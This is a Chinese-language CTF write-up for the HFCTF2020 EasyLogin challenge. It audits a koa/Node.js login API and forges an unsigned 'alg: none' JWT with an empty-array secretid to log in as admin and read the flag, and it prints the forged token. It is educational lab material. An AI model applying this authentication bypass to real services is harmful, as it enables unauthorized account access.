刷题[HFCTF2020]EasyLogin
前置知识
node.js
koa框架常用目录,文件
js弱类型语言,空数组与整数1比较时,返回turue
jwt令牌
博客讲解:
关于jwt的讲解: http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
https://www.cnblogs.com/z-sm/p/9125995.html
https://www.jianshu.com/p/1ce08a374bb5
jwt攻击手段:https://www.freebuf.com/articles/web/181261.html
个人总结
形式:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.(这里有一个点)eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.(这里也有一个点)TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
第一个点前为header,第二个点前为payload,第二个点后为signture
一个攻击点:当header中的alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.'+ payload +’.')并将其提交给服务器。
解题思路
点开发现是登陆框,源码什么的没有啥问题
审查元素
f12审查元素,发现app.js,发现是node.js写的后端。框架用的是koa
之后主要的逻辑代码我没找到,看wp才知道是controllers下的api.js。赵总说是经验,好吧。。。学到了。
代码审计
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
`
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
这里有注册、登陆、flag、登出四个路由,可以得知admin登陆后即可获得flag,此时思路,如何登陆admin用户
jwt令牌
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
关键代码就是这一句,发现使用的为jwt令牌,关于jwt令牌的攻击前置知识已写,所以直接运用 将加密方式改为’none’的方式。
payload:
{"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "123456","iat": 1587632063}.(分开base64)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiMTIzNDU2IiwiaWF0IjogMTU4NzYzMjA2M30.
这里推荐一个网站
https://jwt.io/
可以直接帮你编码
解题
先注册一个用户,登陆界面bp抓包,并发送刚刚的payload
发包,发现登陆成功,显示welcome admin,再抓一个包,go一下,发现flag
总结思路
- 要找到一个项目的主要逻辑代码,文件名可能为api.js
- 代码审计发现jwt令牌,思考可以用哪个jwt攻击思路
知识点
- jwt相关攻击
- 代码审计(node.js)